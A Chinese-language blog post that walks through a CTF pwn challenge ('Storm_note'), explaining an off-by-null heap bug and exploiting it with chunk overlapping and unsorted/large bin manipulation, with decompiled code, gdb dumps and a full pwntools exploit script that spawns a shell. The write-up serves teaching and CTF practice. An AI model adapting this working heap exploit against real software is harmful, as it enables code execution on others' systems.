pwn-堆溢出off-by-one

最新推荐文章于 2024-06-30 18:17:50 发布

Thunder_J

最新推荐文章于 2024-06-30 18:17:50 发布

阅读量1.8k

点赞数 1

分类专栏：题目篇文章标签： pwn

本文链接：https://blog.csdn.net/CharlesGodX/article/details/89266708

版权

题目篇专栏收录该内容

14 篇文章 3 订阅

订阅专栏

0x00：前言

off-by-one是堆溢出中比较有意思的一类漏洞，漏洞主要原理是 malloc 本来分配了0x20的内存，结果可以写 0x21 字节的数据，多写了一个，影响了下一个内存块的头部信息，进而造成了被利用的可能，这里就以西湖论剑的一道题目来讲解这个漏洞

0x01：例子

题目链接

http://file.eonew.cn/ctf/pwn/Storm_note

解题思路

首先检测一下程序检测，该开的都开了

Thunder_J@Thunder_J-virtual-machine:~/桌面$ checksec Storm_note 
[*] '/home/Thunder_J/\xe6\xa1\x8c\xe9\x9d\xa2/Storm_note'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

首先用IDA观察一下程序，有delete_note，backdoor，alloc_note，edit_note四个功能

 while ( 1 )
  {
    while ( 1 )
    {
      menu();
      _isoc99_scanf("%d", &v3);
      if ( v3 != 3 )
        break;
      delete_note();
    }
    if ( v3 > 3 )
    {
      if ( v3 == 4 )
        exit(0);
      if ( v3 == 666 )
        backdoor();
LABEL_15:
      puts("Invalid choice");
    }
    else if ( v3 == 1 )
    {
      alloc_note();
    }
    else
    {
      if ( v3 != 2 )
        goto LABEL_15;
      edit_note();
    }
  }

init_proc

程序执行之前有这个初始化函数，可以看到关闭了 fastbin 机制

ssize_t init_proc()
{
  ssize_t result; // rax
  int fd; // [rsp+Ch] [rbp-4h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  if ( !mallopt(1, 0) )
    exit(-1);
  if ( mmap((void *)0xABCD0000LL, 0x1000uLL, 3, 34, -1, 0LL) != (void *)2882338816LL )
    exit(-1);
  fd = open("/dev/urandom", 0);
  if ( fd < 0 )
    exit(-1);
  result = read(fd, (void *)0xABCD0100LL, 0x30uLL);
  if ( result != 48 )
    exit(-1);
  return result;
}

alloc_note

可以看到输入size之后，程序会calloc一块内存(calloc类比malloc)，存放note，而note_size则存放在note后面

  for ( i = 0; i <= 15 && note[i]; ++i )
    ;
  if ( i == 16 )
  {
    puts("full!");
  }
  else
  {
    puts("size ?");
    _isoc99_scanf("%d", &v1);
    if ( v1 > 0 && v1 <= 0xFFFFF )
    {
      note[i] = calloc(v1, 1uLL);
      note_size[i] = v1;
      puts("Done");
    }
    else
    {
      puts("Invalid size");
    }
  }

note存放信息如下

bss:0000000000202060 ?? ?? ?? ?? ?? ??+note_size dd 10h dup(?)       ; DATA XREF: alloc_note+E1↑o
.bss:0000000000202060 ?? ?? ?? ?? ?? ??+                              ; edit_note+8E↑o
.bss:0000000000202060 ?? ?? ?? ?? ?? ??+                              ; delete_note+BE↑o
.bss:00000000002020A0                   public note
.bss:00000000002020A0                   ; _QWORD note[16]
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+note dq 10h dup(?)            ; DATA XREF: alloc_note+2D↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+                              ; alloc_note+C6↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+                              ; edit_note+57↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+                              ; edit_note+A8↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+                              ; edit_note+D0↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+                              ; delete_note+57↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+                              ; delete_note+82↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+                              ; delete_note+A2↑o
.bss:00000000002020A0 ?? ?? ?? ?? ?? ??+_bss ends

edit_note

edit 从 note 和 note_size 中根据索引取出需要编辑的堆块的指针和 size，使用 read 函数来进行输入。之后将末尾的值赋值为 0，这里存在 off by null 漏洞。

  puts("Index ?");
  _isoc99_scanf("%d", &v1);
  if ( v1 >= 0 && v1 <= 15 && note[v1] )
  {
    puts("Content: ");
    v2 = read(0, (void *)note[v1], (signed int)note_size[v1]);
    *(_BYTE *)(note[v1] + v2) = 0; // off-by-one
    puts("Done");
  }
  else
  {
    puts("Invalid index");
  }

delete_note

可以看到输入 index 之后程序 free 掉 note 和 note_size 之后做了清零操作，不存在UAF漏洞

  puts("Index ?");
  _isoc99_scanf("%d", &v1);
  if ( v1 >= 0 && v1 <= 15 && note[v1] )
  {
    free((void *)note[v1]);
    note[v1] = 0LL;
    note_size[v1] = 0;
  }
  else
  {
    puts("Invalid index");
  }

backdoor

可以看到system("/bin/sh");函数，函数首先读 0x30 长度，然后输入的内容和 mmap 段映射的内容相同即 getshell

  v1 = __readfsqword(0x28u);
  puts("If you can open the lock, I will let you in");
  read(0, &buf, 0x30uLL);
  if ( !memcmp(&buf, (const void *)0xABCD0100LL, 0x30uLL) )
    system("/bin/sh");
  exit(0);

思路

Chunk Extend 使得chunk重叠
控制chunk
控制unsort bin和large bin
overlapping 伪造 fake_chunk
触发后门

这里首先我们连续申请7块chunk，这里是三个一组，两组 chunk 中的中间一个大的 chunk 就是我们利用的目标，用它来进行 overlapping 并把它放进 largebin 中

alloc_note(0x18)  # 0
alloc_note(0x508)  # 1
alloc_note(0x18)  # 2

alloc_note(0x18)  # 3
alloc_note(0x508)  # 4
alloc_note(0x18)  # 5

alloc_note(0x18)  # 6

布局如下图

在这里插入图片描述

然后我们伪造 prev_size

# 改pre_size为0x500
edit_note(1, 'a'*0x4f0 + p64(0x500))

调试可以看到

gdb-peda$ x/30gx 0x55dc2ede84f0
0x55dc2ede84f0:	0x6161616161616161	0x6161616161616161
0x55dc2ede8500:	0x6161616161616161	0x6161616161616161
0x55dc2ede8510:	0x6161616161616161	0x6161616161616161
0x55dc2ede8520:	0x0000000000000500	0x0000000000000000 => fake prev_size
0x55dc2ede8530:	0x0000000000000000	0x0000000000000021
0x55dc2ede8540:	0x0000000000000000	0x0000000000000000
0x55dc2ede8550:	0x0000000000000000	0x0000000000000021
0x55dc2ede8560:	0x0000000000000000	0x0000000000000000
0x55dc2ede8570:	0x0000000000000000	0x0000000000000511
0x55dc2ede8580:	0x0000000000000000	0x0000000000000000
0x55dc2ede8590:	0x0000000000000000	0x0000000000000000
0x55dc2ede85a0:	0x0000000000000000	0x0000000000000000
0x55dc2ede85b0:	0x0000000000000000	0x0000000000000000
0x55dc2ede85c0:	0x0000000000000000	0x0000000000000000
0x55dc2ede85d0:	0x0000000000000000	0x0000000000000000

释放掉chunk 1至unsort bin然后创建chunk 0来触发off by null，这里选择 size 为 0x18 的目的是为了能够填充到下一个 chunk 的 prev_size，这里就能通过溢出 00 到下一个 chunk 的 size 字段，使之低字节覆盖为 0。

delete_note(1)
# off by null 将1号块的size字段覆盖为0x500
edit_note(0, 'b'*(0x18))

调试可以看到chunk1已经被放进了 unsorted bin

gdb-peda$ x/20gx 0x562071ea0020-32
0x562071ea0000:	0x0000000000000000	0x0000000000000021
0x562071ea0010:	0x6262626262626262	0x6262626262626262
0x562071ea0020:	0x6262626262626262	0x0000000000000500
0x562071ea0030:	0x00007fe9f2875b78	0x00007fe9f2875b78
0x562071ea0040:	0x0000000000000000	0x0000000000000000
0x562071ea0050:	0x6161616161616161	0x6161616161616161
0x562071ea0060:	0x6161616161616161	0x6161616161616161
0x562071ea0070:	0x6161616161616161	0x6161616161616161
0x562071ea0080:	0x6161616161616161	0x6161616161616161
0x562071ea0090:	0x6161616161616161	0x6161616161616161

接下来我们申请两块chunk，因为关闭了 fastbin 机制，所以会从unsorted bin上，然后delete掉它们，那么就会触发这两个堆块合并，从而覆盖到刚刚的 0x4d8 这个块

alloc_note(0x18)
alloc_note(0x4d8)
delete_note(1)
delete_note(2)  # unlink进行前向extend

调试如下，index为7的指向的地方和unsortedbin里面的chunk已经重叠了

gdb-peda$ x/20gx 0x5564795ff000
0x5564795ff000:	0x0000000000000000	0x0000000000000021
0x5564795ff010:	0x6262626262626262	0x6262626262626262
0x5564795ff020:	0x6262626262626262	0x0000000000000531
0x5564795ff030:	0x00007f8305be4b78	0x00007f8305be4b78
0x5564795ff040:	0x0000000000000000	0x0000000000000000
0x5564795ff050:	0x0000000000000000	0x0000000000000000
0x5564795ff060:	0x0000000000000000	0x0000000000000000
0x5564795ff070:	0x0000000000000000	0x0000000000000000
0x5564795ff080:	0x0000000000000000	0x0000000000000000
0x5564795ff090:	0x0000000000000000	0x0000000000000000

alloc_note(0x30)之后2号块与7号块交叠，这里 add(0x30) 的 size 为 0x30 的原因是只需要控制 chunk7 的 fd 和 bk 指针

alloc_note(0x30)  # 1
alloc_note(0x4e8)  # 2

接下来的原理同上

edit_note(4, 'a'*(0x4f0) + p64(0x500))
delete_note(4)
edit_note(3, 'a'*(0x18))
alloc_note(0x18)  # 4
alloc_note(0x4d8)  # 8
delete_note(4)
delete_note(5)
alloc_note(0x40)  # 4

接下来需要我们控制 unsort bin 和 large bin

delete_note(2)
alloc_note(0x4e8)    # 2
delete_note(2)

由于unsorted bin是FIFO（队列模式），所以可以先删除2号块，再申请他，由于先检查队列尾部，也就是原先4号块的chunk部分，发现chunk大小不够大，然后将其放入large bin中。该chunk由8号块控制。然后，继续删除2号块，那么此时unsorted bin里还剩下2号块，该部分通过7号块来控制。

gdb-peda$ x/20gx 0x55609685a000
0x55609685a000:	0x0000000000000000	0x0000000000000021
0x55609685a010:	0x6262626262626262	0x6262626262626262
0x55609685a020:	0x6262626262626262	0x0000000000000041
0x55609685a030:	0x0000000000000000	0x0000000000000000
0x55609685a040:	0x0000000000000000	0x0000000000000000
0x55609685a050:	0x0000000000000000	0x0000000000000000
0x55609685a060:	0x0000000000000000	0x00000000000004f1 => chunk 2
0x55609685a070:	0x00007fec67d73b78	0x00007fec67d73b78 => unsorted bin
0x55609685a080:	0x0000000000000000	0x0000000000000000
0x55609685a090:	0x0000000000000000	0x0000000000000000
gdb-peda$ x/20gx 0x55609685a570
0x55609685a570:	0x6161616161616161	0x0000000000000051
0x55609685a580:	0x0000000000000000	0x0000000000000000
0x55609685a590:	0x0000000000000000	0x0000000000000000
0x55609685a5a0:	0x0000000000000000	0x0000000000000000
0x55609685a5b0:	0x0000000000000000	0x0000000000000000
0x55609685a5c0:	0x0000000000000000	0x00000000000004e1 => chunk 5
0x55609685a5d0:	0x00007fec67d73f98	0x00007fec67d73f98
0x55609685a5e0:	0x000055609685a5c0	0x000055609685a5c0
0x55609685a5f0:	0x0000000000000000	0x0000000000000000
0x55609685a600:	0x0000000000000000	0x0000000000000000

接下来我们伪造 fake_chunk，通过 chunk7 控制 chunk2

content_addr = 0xabcd0100
fake_chunk =  content_addr - 0x20

payload = p64(0)*2 + p64(0) + p64(0x4f1)    # size
payload += p64(0) + p64(fake_chunk)         # bk
edit_note(7,payload)

同样的通过 edit(8) 来控制 chunk5

payload2 = p64(0)*4 + p64(0) + p64(0x4e1)    # size 
payload2 += p64(0) + p64(fake_chunk+8)       
payload2 += p64(0) + p64(fake_chunk-0x18-5) 

edit_note(8,payload2)

接下来我们需要触发后门

edit_note(2, p64(0) * 8)
sh.sendline('666')
sh.sendline('\x00'*0x30)

sh.interactive()

exp如下

from pwn import *

r = process('./Storm_note')
elf = ELF('./Storm_note')
context.log_level = "debug"

if args.G:
    gdb.attach(r)


def alloc_note(size):
    r.sendline('1')
    r.recvuntil('?')
    r.sendline(str(size))
    r.recvuntil('Choice')

def edit_note(idx, mes):
    r.sendline('2')
    r.recvuntil('?')
    r.sendline(str(idx))
    r.recvuntil('Content')
    r.send(mes)
    r.recvuntil('Choice')

def delete_note(idx):
    r.sendline('3')
    r.recvuntil('?')
    r.sendline(str(idx))
    r.recvuntil('Choice')

alloc_note(0x18)  # 0
alloc_note(0x508)  # 1
alloc_note(0x18)  # 2

alloc_note(0x18)  # 3
alloc_note(0x508)  # 4
alloc_note(0x18)  # 5

alloc_note(0x18)  # 6

edit_note(1, 'a'*0x4f0 + p64(0x500))
delete_note(1)
edit_note(0, 'b'*(0x18))

alloc_note(0x18)
alloc_note(0x4d8)

delete_note(1)
delete_note(2)

alloc_note(0x30)
alloc_note(0x4e8)

# 原理同上
edit_note(4, 'a'*(0x4f0) + p64(0x500))
delete_note(4)
edit_note(3, 'a'*(0x18))
alloc_note(0x18)  # 4
alloc_note(0x4d8)  # 8
delete_note(4)
delete_note(5)
alloc_note(0x40)  # 4

# 将2号块和4号块分别加入unsort bin和large bin
delete_note(2)
alloc_note(0x4e8)    # 2
delete_note(2)

content_addr = 0xabcd0100
fake_chunk =  content_addr - 0x20

payload = p64(0)*2 + p64(0) + p64(0x4f1)    # size
payload += p64(0) + p64(fake_chunk)         # bk
edit_note(7,payload)


payload2 = p64(0)*4 + p64(0) + p64(0x4e1)    # size 
payload2 += p64(0) + p64(fake_chunk+8)       
payload2 += p64(0) + p64(fake_chunk-0x18-5) 

edit_note(8,payload2)

# 0xabcd00f0
alloc_note(0x48)

edit_note(2, p64(0) * 8)
r.sendline('666')
r.sendline('\x00'*0x30)

r.interactive()

运行结果如下

Thunder_J@Thunder_J-virtual-machine:~/桌面$ python exp.py 
[+] Starting local process './Storm_note': pid 16030
[*] '/home/Thunder_J/\xe6\xa1\x8c\xe9\x9d\xa2/Storm_note'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
: If you can open the lock, I will let you in
$ ls
exp.py    HITCON-Training  Storm_note  test.py  vmware-tools-distrib
$ whoami
Thunder_J
$ exit
[*] Got EOF while reading in interactive
$ exit
[*] Process './Storm_note' stopped with exit code 0 (pid 16030)
[*] Got EOF while sending in interactive